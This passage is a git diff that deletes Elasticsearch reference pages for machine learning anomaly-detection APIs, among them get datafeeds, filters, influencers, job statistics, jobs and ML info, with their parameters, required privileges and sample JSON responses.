-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-get-datafeed-desc]]
-== {api-description-title}
-
-You can get information for multiple {dfeeds} in a single API request by using a
-comma-separated list of {dfeeds} or a wildcard expression. You can get
-information for all {dfeeds} by using `_all`, by specifying `*` as the
-`<feed_id>`, or by omitting the `<feed_id>`.
-
-IMPORTANT: This API returns a maximum of 10,000 {dfeeds}. 
-
-[[ml-get-datafeed-path-parms]]
-== {api-path-parms-title}
-
-`<feed_id>`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=datafeed-id-wildcard]
-+
---
-If you do not specify one of these options, the API returns information about
-all {dfeeds}.
---
-
-[[ml-get-datafeed-query-parms]]
-== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-datafeeds]
-
-[[ml-get-datafeed-results]]
-== {api-response-body-title}
-
-The API returns an array of {dfeed} resources. For the full list of properties,
-see <<ml-put-datafeed-request-body,create {dfeeds} API>>.
-
-[[ml-get-datafeed-response-codes]]
-== {api-response-codes-title}
-
-`404` (Missing resources)::
-  If `allow_no_match` is `false`, this code indicates that there are no
-  resources that match the request or only partial matches for the request.
-
-[[ml-get-datafeed-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/datafeeds/datafeed-high_sum_total_sales
---------------------------------------------------
-// TEST[skip:Kibana sample data]
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "count": 1,
-  "datafeeds": [
-    {
-      "datafeed_id": "datafeed-high_sum_total_sales",
-      "job_id": "high_sum_total_sales",
-      "query_delay": "93169ms",
-      "indices": [
-        "kibana_sample_data_ecommerce"
-      ],
-      "query" : {
-        "bool" : {
-          "filter" : [
-            {
-              "term" : {
-                "_index" : "kibana_sample_data_ecommerce"
-              }
-            }
-          ]
-        }
-      },
-      "scroll_size": 1000,
-      "chunking_config": {
-        "mode": "auto"
-      },
-      "delayed_data_check_config" : {
-        "enabled" : true
-      }
-    }
-  ]
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/get-filter.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-filter.asciidoc
deleted file mode 100644
index a0c4a1697da..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-filter.asciidoc
+++ /dev/null
@@ -1,89 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-get-filter]]
-= Get filters API
-++++
-<titleabbrev>Get filters</titleabbrev>
-++++
-
-Retrieves filters.
-
-[[ml-get-filter-request]]
-== {api-request-title}
-
-`GET _ml/filters/<filter_id>` +
-
-`GET _ml/filters/`
-
-[[ml-get-filter-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-get-filter-desc]]
-== {api-description-title}
-
-You can get a single filter or all filters. For more information, see 
-{ml-docs}/ml-rules.html[Machine learning custom rules].
-
-[[ml-get-filter-path-parms]]
-== {api-path-parms-title}
-
-`<filter_id>`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=filter-id]
-
-[[ml-get-filter-query-parms]]
-== {api-query-parms-title}
-
-`from`::
-(Optional, integer) Skips the specified number of filters.
-
-`size`::
-(Optional, integer) Specifies the maximum number of filters to obtain.
-
-[[ml-get-filter-results]]
-== {api-response-body-title}
-
-The API returns an array of filter resources, which have the following
-properties:
-
-`description`::
-(string) A description of the filter.
-
-`filter_id`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=filter-id]
-  
-`items`::
-(array of strings) An array of strings which is the filter item list.
-
-[[ml-get-filter-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/filters/safe_domains
---------------------------------------------------
-// TEST[skip:setup:ml_filter_safe_domains]
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "count": 1,
-  "filters": [
-    {
-      "filter_id": "safe_domains",
-      "description": "A list of safe domains",
-      "items": [
-        "*.google.com",
-        "wikipedia.org"
-      ]
-    }
-  ]
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/get-influencer.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-influencer.asciidoc
deleted file mode 100644
index 94418a2b6ce..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-influencer.asciidoc
+++ /dev/null
@@ -1,161 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-get-influencer]]
-= Get influencers API
-++++
-<titleabbrev>Get influencers</titleabbrev>
-++++
-
-Retrieves {anomaly-job} results for one or more influencers.
-
-[[ml-get-influencer-request]]
-== {api-request-title}
-
-`GET _ml/anomaly_detectors/<job_id>/results/influencers`
-
-[[ml-get-influencer-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. You also
-need `read` index privilege on the index that stores the results. The
-`machine_learning_admin` and `machine_learning_user` roles provide these
-privileges. See <<security-privileges>>, <<built-in-roles>>, and
-{ml-docs-setup-privileges}.
-
-[[ml-get-influencer-desc]]
-== {api-description-title}
-
-Influencers are the entities that have contributed to, or are to blame for,
-the anomalies. Influencer results are available only if an
-`influencer_field_name` is specified in the job configuration.
-
-[[ml-get-influencer-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-[[ml-get-influencer-request-body]]
-== {api-request-body-title}
-
-`desc`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=desc-results]
-
-`end`::
-(Optional, string) Returns influencers with timestamps earlier than this time.
-
-`exclude_interim`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=exclude-interim-results]
-
-`influencer_score`::
-(Optional, double) Returns influencers with anomaly scores greater than or equal
-to this value.
-
-`page`.`from`::
-(Optional, integer) Skips the specified number of influencers.
-
-`page`.`size`::
-(Optional, integer) Specifies the maximum number of influencers to obtain.
-
-`sort`::
-(Optional, string) Specifies the sort field for the requested influencers. By
-default, the influencers are sorted by the `influencer_score` value.
-
-`start`::
-(Optional, string) Returns influencers with timestamps after this time.
-
-[[ml-get-influencer-results]]
-== {api-response-body-title}
-
-The API returns an array of influencer objects, which have the following
-properties:
-
-`bucket_span`::
-(number)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-span-results]
-
-`influencer_score`::
-(number) A normalized score between 0-100, which is based on the probability of
-the influencer in this bucket aggregated across detectors. Unlike
-`initial_influencer_score`, this value will be updated by a re-normalization
-process as new data is analyzed.
-
-`influencer_field_name`::
-(string) The field name of the influencer.
-
-`influencer_field_value`::
-(string) The entity that influenced, contributed to, or was to blame for the
-anomaly.
-
-`initial_influencer_score`::
-(number) A normalized score between 0-100, which is based on the probability of
-the influencer aggregated across detectors. This is the initial value that was
-calculated at the time the bucket was processed.
-
-`is_interim`::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=is-interim]
-
-`job_id`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`probability`::
-(number) The probability that the influencer has this behavior, in the range 0
-to 1. This value can be held to a high precision of over 300 decimal places, so
-the `influencer_score` is provided as a human-readable and friendly
-interpretation of this.
-
-`result_type`::
-(string) Internal. This value is always set to `influencer`.
-
-`timestamp`::
-(date)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=timestamp-results]
-
-NOTE: Additional influencer properties are added, depending on the fields being
-analyzed. For example, if it's analyzing `user_name` as an influencer, then a
-field `user_name` is added to the result document. This information enables you to
-filter the anomaly results more easily.
-
-[[ml-get-influencer-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/anomaly_detectors/high_sum_total_sales/results/influencers
-{
-  "sort": "influencer_score",
-  "desc": true
-}
---------------------------------------------------
-// TEST[skip:Kibana sample data]
-
-In this example, the API returns the following information, sorted based on the
-influencer score in descending order:
-[source,js]
-----
-{
-  "count": 189,
-  "influencers": [
-    {
-      "job_id": "high_sum_total_sales",
-      "result_type": "influencer",
-      "influencer_field_name": "customer_full_name.keyword",
-      "influencer_field_value": "Wagdi Shaw",
-      "customer_full_name.keyword" : "Wagdi Shaw",
-      "influencer_score": 99.02493,
-      "initial_influencer_score" : 94.67233079580171,
-      "probability" : 1.4784807245686567E-10,
-      "bucket_span" : 3600,
-      "is_interim" : false,
-      "timestamp" : 1574661600000
-    },
-  ...
-  ]
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/get-job-stats.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-job-stats.asciidoc
deleted file mode 100644
index 7b8de2662d4..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-job-stats.asciidoc
+++ /dev/null
@@ -1,477 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-get-job-stats]]
-= Get {anomaly-job} statistics API
-++++
-<titleabbrev>Get job statistics</titleabbrev>
-++++
-
-Retrieves usage information for {anomaly-jobs}.
-
-[[ml-get-job-stats-request]]
-== {api-request-title}
-
-`GET _ml/anomaly_detectors/<job_id>/_stats`
-
-`GET _ml/anomaly_detectors/<job_id>,<job_id>/_stats` +
-
-`GET _ml/anomaly_detectors/_stats` +
-
-`GET _ml/anomaly_detectors/_all/_stats` 
-
-[[ml-get-job-stats-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-get-job-stats-desc]]
-== {api-description-title}
-
-You can get statistics for multiple {anomaly-jobs} in a single API request by
-using a group name, a comma-separated list of jobs, or a wildcard expression.
-You can get statistics for all {anomaly-jobs} by using `_all`, by specifying `*`
-as the `<job_id>`, or by omitting the `<job_id>`.
-
-IMPORTANT: This API returns a maximum of 10,000 jobs.
-
-[[ml-get-job-stats-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection-default]
-
-[[ml-get-job-stats-query-parms]]
-== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-jobs]
-
-[role="child_attributes"]
-[[ml-get-job-stats-results]]
-== {api-response-body-title}
-
-The API returns the following information about the operational progress of a
-job:
-
-`assignment_explanation`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=assignment-explanation-anomaly-jobs]
-
-//Begin data_counts
-[[datacounts]]`data_counts`::
-(object) An object that describes the quantity of input to the job and any
-related error counts. The `data_count` values are cumulative for the lifetime of
-a job. If a model snapshot is reverted or old results are deleted, the job
-counts are not reset.
-+
-.Properties of `data_counts`
-[%collapsible%open]
-====
-`bucket_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-count-anomaly-jobs]
-
-`earliest_record_timestamp`:::
-(date)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=earliest-record-timestamp]
-
-`empty_bucket_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=empty-bucket-count]
-
-`input_bytes`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=input-bytes]
-
-`input_field_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=input-field-count]
-
-`input_record_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=input-record-count]
-
-`invalid_date_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=invalid-date-count]
-
-`job_id`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`last_data_time`:::
-(date)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=last-data-time]
-
-`latest_empty_bucket_timestamp`:::
-(date)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=latest-empty-bucket-timestamp]
-
-`latest_record_timestamp`:::
-(date)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=latest-record-timestamp]
-
-`latest_sparse_bucket_timestamp`:::
-(date)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=latest-sparse-record-timestamp]
-
-`missing_field_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=missing-field-count]
-+
-The value of `processed_record_count` includes this count.
-
-`out_of_order_timestamp_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=out-of-order-timestamp-count]
-
-`processed_field_count`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=processed-field-count]
-
-`processed_record_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=processed-record-count]
-
-`sparse_bucket_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=sparse-bucket-count]
-====
-//End data_counts
-
-`deleting`::
-(Boolean)
-Indicates that the process of deleting the job is in progress but not yet 
-completed. It is only reported when `true`.
-
-//Begin forecasts_stats
-[[forecastsstats]]`forecasts_stats`::
-(object) An object that provides statistical information about forecasts 
-belonging to this job. Some statistics are omitted if no forecasts have been 
-made.
-+
-NOTE: Unless there is at least one forecast, `memory_bytes`, `records`,
-`processing_time_ms` and `status` properties are omitted.
-+
-.Properties of `forecasts_stats`
-[%collapsible%open]
-====
-`forecasted_jobs`:::
-(long) A value of `0` indicates that forecasts do not exist for this job. A 
-value of `1` indicates that at least one forecast exists.
-
-`memory_bytes`:::
-(object) The `avg`, `min`, `max` and `total` memory usage in bytes for forecasts 
-related to this job. If there are no forecasts, this property is omitted.
-
-`processing_time_ms`:::
-(object) The `avg`, `min`, `max` and `total` runtime in milliseconds for 
-forecasts related to this job. If there are no forecasts, this property is 
-omitted.
-  
-`records`:::
-(object) The `avg`, `min`, `max` and `total` number of `model_forecast` documents 
-written for forecasts related to this job. If there are no forecasts, this
-property is omitted.
-
-`status`:::
-(object) The count of forecasts by their status. For example: 
-{"finished" : 2, "started" : 1}. If there are no forecasts, this property is 
-omitted.
-
-`total`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=forecast-total]
-====
-//End forecasts_stats
-
-`job_id`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-//Begin model_size_stats
-[[modelsizestats]]`model_size_stats`::
-(object) An object that provides information about the size and contents of the
-model.
-+
-.Properties of `model_size_stats`
-[%collapsible%open]
-====
-`bucket_allocation_failures_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-allocation-failures-count]
-
-`categorized_doc_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=categorized-doc-count]
-
-`categorization_status`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=categorization-status]
-
-`dead_category_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dead-category-count]
-
-`failed_category_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=failed-category-count]
-
-`frequent_category_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=frequent-category-count]
-
-`job_id`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`log_time`:::
-(date) The timestamp of the `model_size_stats` according to server time.
-
-`memory_status`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-memory-status]
-
-`model_bytes`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-bytes]
-
-`model_bytes_exceeded`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-bytes-exceeded]
-
-`model_bytes_memory_limit`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-memory-limit-anomaly-jobs]
-
-`peak_model_bytes`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=peak-model-bytes]
-
-`rare_category_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=rare-category-count]
-
-`result_type`:::
-(string) For internal use. The type of result.
-
-`total_by_field_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=total-by-field-count]
-
-`total_category_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=total-category-count]
-
-`total_over_field_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=total-over-field-count]
-
-`total_partition_field_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=total-partition-field-count]
-
-`timestamp`:::
-(date)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-timestamp]
-====
-//End model_size_stats
-
-//Begin node
-[[stats-node]]`node`::
-(object) Contains properties for the node that runs the job. This information is
-available only for open jobs.
-+
-.Properties of `node`
-[%collapsible%open]
-====
-`attributes`:::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-attributes]
-  
-`ephemeral_id`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-ephemeral-id]
-
-`id`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-id]
-
-`name`:::
-(string)
-The node name.
-
-`transport_address`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-transport-address]
-====
-//End node
-
-`open_time`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=open-time]
-
-`state`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=state-anomaly-job]
-
-//Begin timing_stats
-[[timingstats]]`timing_stats`::
-(object) An object that provides statistical information about timing aspect of
-this job.
-+
-.Properties of `timing_stats`
-[%collapsible%open]
-====
-`average_bucket_processing_time_ms`:::
-(double) Average of all bucket processing times in milliseconds.
-
-`bucket_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-count]
-
-`exponential_average_bucket_processing_time_ms`:::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-time-exponential-average]
-
-`exponential_average_bucket_processing_time_per_hour_ms`:::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-time-exponential-average-hour]
-
-`job_id`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`maximum_bucket_processing_time_ms`:::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-time-maximum]
-
-`minimum_bucket_processing_time_ms`:::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-time-minimum]
-
-`total_bucket_processing_time_ms`:::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-time-total]
-====
-//End timing_stats
-
-[[ml-get-job-stats-response-codes]]
-== {api-response-codes-title}
-
-`404` (Missing resources)::
-  If `allow_no_match` is `false`, this code indicates that there are no 
-  resources that match the request or only partial matches for the request.
-
-[[ml-get-job-stats-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/anomaly_detectors/low_request_rate/_stats
---------------------------------------------------
-// TEST[skip:Kibana sample data]
-
-The API returns the following results:
-[source,js]
-----
-{
-  "count" : 1,
-  "jobs" : [
-    {
-      "job_id" : "low_request_rate",
-      "data_counts" : {
-        "job_id" : "low_request_rate",
-        "processed_record_count" : 1216,
-        "processed_field_count" : 1216,
-        "input_bytes" : 51678,
-        "input_field_count" : 1216,
-        "invalid_date_count" : 0,
-        "missing_field_count" : 0,
-        "out_of_order_timestamp_count" : 0,
-        "empty_bucket_count" : 242,
-        "sparse_bucket_count" : 0,
-        "bucket_count" : 1457,
-        "earliest_record_timestamp" : 1575172659612,
-        "latest_record_timestamp" : 1580417369440,
-        "last_data_time" : 1576017595046,
-        "latest_empty_bucket_timestamp" : 1580356800000,
-        "input_record_count" : 1216
-      },
-      "model_size_stats" : {
-        "job_id" : "low_request_rate",
-        "result_type" : "model_size_stats",
-        "model_bytes" : 41480,
-        "model_bytes_exceeded" : 0,
-        "model_bytes_memory_limit" : 10485760,
-        "total_by_field_count" : 3,
-        "total_over_field_count" : 0,
-        "total_partition_field_count" : 2,
-        "bucket_allocation_failures_count" : 0,
-        "memory_status" : "ok",
-        "categorized_doc_count" : 0,
-        "total_category_count" : 0,
-        "frequent_category_count" : 0,
-        "rare_category_count" : 0,
-        "dead_category_count" : 0,
-        "failed_category_count" : 0,
-        "categorization_status" : "ok",
-        "log_time" : 1576017596000,
-        "timestamp" : 1580410800000
-      },
-      "forecasts_stats" : {
-        "total" : 1,
-        "forecasted_jobs" : 1,
-        "memory_bytes" : {
-          "total" : 9179.0,
-          "min" : 9179.0,
-          "avg" : 9179.0,
-          "max" : 9179.0
-        },
-        "records" : {
-          "total" : 168.0,
-          "min" : 168.0,
-          "avg" : 168.0,
-          "max" : 168.0
-        },
-        "processing_time_ms" : {
-          "total" : 40.0,
-          "min" : 40.0,
-          "avg" : 40.0,
-          "max" : 40.0
-        },
-        "status" : {
-          "finished" : 1
-        }
-      },
-      "state" : "opened",
-      "node" : {
-        "id" : "7bmMXyWCRs-TuPfGJJ_yMw",
-        "name" : "node-0",
-        "ephemeral_id" : "hoXMLZB0RWKfR9UPPUCxXX",
-        "transport_address" : "127.0.0.1:9300",
-        "attributes" : {
-          "ml.machine_memory" : "17179869184",
-          "xpack.installed" : "true",
-          "ml.max_open_jobs" : "20"
-        }
-      },
-      "assignment_explanation" : "",
-      "open_time" : "13s",
-      "timing_stats" : {
-        "job_id" : "low_request_rate",
-        "bucket_count" : 1457,
-        "total_bucket_processing_time_ms" : 1094.000000000001,
-        "minimum_bucket_processing_time_ms" : 0.0,
-        "maximum_bucket_processing_time_ms" : 48.0,
-        "average_bucket_processing_time_ms" : 0.75085792724777,
-        "exponential_average_bucket_processing_time_ms" : 0.5571716855800993,
-        "exponential_average_bucket_processing_time_per_hour_ms" : 15.0
-      }
-    }
-  ]
-}
-----
\ No newline at end of file
diff --git a/docs/reference/ml/anomaly-detection/apis/get-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-job.asciidoc
deleted file mode 100644
index fe89201d3e1..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-job.asciidoc
+++ /dev/null
@@ -1,150 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-get-job]]
-= Get {anomaly-jobs} API
-++++
-<titleabbrev>Get jobs</titleabbrev>
-++++
-
-Retrieves configuration information for {anomaly-jobs}.
-
-[[ml-get-job-request]]
-== {api-request-title}
-
-`GET _ml/anomaly_detectors/<job_id>` +
-
-`GET _ml/anomaly_detectors/<job_id>,<job_id>` +
-
-`GET _ml/anomaly_detectors/` +
-
-`GET _ml/anomaly_detectors/_all`
-
-[[ml-get-job-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-get-job-desc]]
-== {api-description-title}
-
-You can get information for multiple {anomaly-jobs} in a single API request by
-using a group name, a comma-separated list of jobs, or a wildcard expression.
-You can get information for all {anomaly-jobs} by using `_all`, by specifying
-`*` as the `<job_id>`, or by omitting the `<job_id>`.
-
-IMPORTANT: This API returns a maximum of 10,000 jobs. 
-
-[[ml-get-job-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection-default]
-
-[[ml-get-job-query-parms]]
-== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-jobs]
-
-[[ml-get-job-results]]
-== {api-response-body-title}
-
-The API returns an array of {anomaly-job} resources. For the full list of
-properties, see <<ml-put-job-request-body,create {anomaly-jobs} API>>.
-
-`create_time`::
-(string) The time the job was created. For example, `1491007356077`. This
-property is informational; you cannot change its value.
-  
-`finished_time`::
-(string) If the job closed or failed, this is the time the job finished.
-Otherwise, it is `null`. This property is informational; you cannot change its
-value.
-
-`job_type`::
-(string) Reserved for future use, currently set to `anomaly_detector`.
-
-`job_version`::
-(string) The version of {es} that existed on the node when the job was created.
-
-`model_snapshot_id`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=snapshot-id]
-
-[[ml-get-job-response-codes]]
-== {api-response-codes-title}
-
-`404` (Missing resources)::
-  If `allow_no_match` is `false`, this code indicates that there are no 
-  resources that match the request or only partial matches for the request.
-
-[[ml-get-job-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/anomaly_detectors/high_sum_total_sales
---------------------------------------------------
-// TEST[skip:Kibana sample data]
-
-The API returns the following results:
-
-[source,js]
-----
-{
-  "count": 1,
-  "jobs": [
-    {
-      "job_id" : "high_sum_total_sales",
-      "job_type" : "anomaly_detector",
-      "job_version" : "7.5.0",
-      "groups" : [
-        "kibana_sample_data",
-        "kibana_sample_ecommerce"
-      ],
-      "description" : "Find customers spending an unusually high amount in an hour",
-      "create_time" : 1577221534700,
-      "analysis_config" : {
-        "bucket_span" : "1h",
-        "detectors" : [
-          {
-            "detector_description" : "High total sales",
-            "function" : "high_sum",
-            "field_name" : "taxful_total_price",
-            "over_field_name" : "customer_full_name.keyword",
-            "detector_index" : 0
-          }
-        ],
-        "influencers" : [
-          "customer_full_name.keyword",
-          "category.keyword"
-        ]
-      },
-      "analysis_limits" : {
-        "model_memory_limit" : "10mb",
-        "categorization_examples_limit" : 4
-      },
-      "data_description" : {
-        "time_field" : "order_date",
-        "time_format" : "epoch_ms"
-      },
-      "model_plot_config" : {
-        "enabled" : true
-      },
-      "model_snapshot_retention_days" : 10,
-      "daily_model_snapshot_retention_after_days" : 1,
-      "custom_settings" : {
-        "created_by" : "ml-module-sample",
-        ...
-      },
-      "model_snapshot_id" : "1575402237",
-      "results_index_name" : "shared",
-      "allow_lazy_open" : false
-    }
-  ]
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/get-ml-info.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-ml-info.asciidoc
deleted file mode 100644
index 17250027828..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-ml-info.asciidoc
+++ /dev/null
@@ -1,127 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[get-ml-info]]
-= Get machine learning info API
-
-[subs="attributes"]
-++++
-<titleabbrev>Get {ml} info</titleabbrev>
-++++
-
-Returns defaults and limits used by machine learning.
-
-[[get-ml-info-request]]
-== {api-request-title}
-
-`GET _ml/info`
-
-[[get-ml-info-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. The
-`machine_learning_admin` and `machine_learning_user` roles provide these
-privileges. See <<security-privileges>>, <<built-in-roles>> and
-{ml-docs-setup-privileges}.
-
-[[get-ml-info-desc]]
-== {api-description-title}
-
-This endpoint is designed to be used by a user interface that needs to fully
-understand machine learning configurations where some options are not specified,
-meaning that the defaults should be used.  This endpoint may be used to find out
-what those defaults are.
-
-[[get-ml-info-example]]
-== {api-examples-title}
-
-The endpoint takes no arguments:
-
-[source,console]
---------------------------------------------------
-GET _ml/info
---------------------------------------------------
-// TEST
-
-This is a possible response:
-
-[source,console-result]
-----
-{
-  "defaults" : {
-    "anomaly_detectors" : {
-      "categorization_analyzer" : {
-        "tokenizer" : "ml_classic",
-        "filter" : [
-          {
-            "type" : "stop",
-            "stopwords" : [
-              "Monday",
-              "Tuesday",
-              "Wednesday",
-              "Thursday",
-              "Friday",
-              "Saturday",
-              "Sunday",
-              "Mon",
-              "Tue",
-              "Wed",
-              "Thu",
-              "Fri",
-              "Sat",
-              "Sun",
-              "January",
-              "February",
-              "March",
-              "April",
-              "May",
-              "June",
-              "July",
-              "August",
-              "September",
-              "October",
-              "November",
-              "December",
-              "Jan",
-              "Feb",
-              "Mar",
-              "Apr",
-              "May",
-              "Jun",
-              "Jul",
-              "Aug",
-              "Sep",
-              "Oct",
-              "Nov",
-              "Dec",
-              "GMT",
-              "UTC"
-            ]
-          }
-        ]
-      },
-      "model_memory_limit" : "1gb",
-      "categorization_examples_limit" : 4,
-      "model_snapshot_retention_days" : 10,
-      "daily_model_snapshot_retention_after_days" : 1
-    },
-    "datafeeds" : {
-      "scroll_size" : 1000
-    }
-  },
-  "upgrade_mode": false,
-  "native_code" : {
-    "version": "7.0.0",
-    "build_hash": "99a07c016d5a73"
-  },
-  "limits" : {
-    "effective_max_model_memory_limit": "28961mb"
-  }
-}
-----
-// TESTRESPONSE[s/"upgrade_mode": false/"upgrade_mode": $body.upgrade_mode/]
-// TESTRESPONSE[s/"version": "7.0.0",/"version": "$body.native_code.version",/]
-// TESTRESPONSE[s/"build_hash": "99a07c016d5a73"/"build_hash": "$body.native_code.build_hash"/]
-// TESTRESPONSE[s/"effective_max_model_memory_limit": "28961mb"/"effective_max_model_memory_limit": "$body.limits.effective_max_model_memory_limit"/]
